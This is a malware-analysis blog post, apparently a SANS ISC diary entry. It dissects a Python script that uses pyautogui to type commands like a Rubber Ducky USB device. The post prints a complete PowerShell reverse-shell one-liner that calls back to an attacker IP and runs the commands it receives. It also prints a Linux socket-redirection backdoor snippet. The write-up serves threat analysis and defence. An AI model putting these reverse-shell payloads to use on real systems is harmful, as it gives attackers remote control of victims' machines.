Malicious Python Script Behaving Like a Rubber Ducky

Published: 2022-07-20
Last Updated: 2022-07-20 13:36:18 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Last week, it was SANSFIRE in Washington where I presented a SANS@Night talk about malicious Python scripts in Windows environment. I’m still looking for more fresh meat and, yesterday, I found another interesting one.

Do you remember the Rubber Ducky[1]? Pentesters like this kind of gadgets. I still have one as well as others with WiFi capabilities The idea behind these USB keys is to deliver a payload by simulating a keyboard. When you connect then to a computer, they are detected as a HID (“Human Interface Device”). The payload will be “injected” like if the user pressed all the keys one by one.

The script that I found provides the same behaviour! It was found on VT with a very low score of only 3/58[2] (SHA256:83d009773ecfbc4016493f131ea07aa57408c9a6d334dd66cac5dac81a745241). The magic happens with the help of a specific Python library called pyautogui[3]. The description says everything:

"PyAutoGUI lets your Python scripts control the mouse and keyboard to automate interactions with other applications. The API is designed to be simple. PyAutoGUI works on Windows, macOS, and Linux, and runs on Python 2 and 3."

How does it work? The script will open a “Run Command” windows (by simulating a “Win+R” keypress), launch a cmd.exe and type a Powershell onliner that will open a backdoor to a server controlled by the attacker:

import pyautogui

    # abrir una terminal y conectar a la consola
    command = """powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('20[.]127[.]79[.]213', 6665);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()" """

    pyautogui.hotkey('win', 'r')

Note the Spanish comment!

Once the backdoor is open, the script implements a keylogger.

Finally, the script is compatible with Linux systems too. In this case, it does not use pyautogui but just implement a backdoor with bash:

if OS == 'Linux':
    self.socket.connect((, self.port))
    os.dup2(self.socket.fileno(), 0)
    os.dup2(self.socket.fileno(), 1)
    os.dup2(self.socket.fileno(), 2)

The script remains basic and is not obfuscated but, but it does the job! 


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)


Diary Archives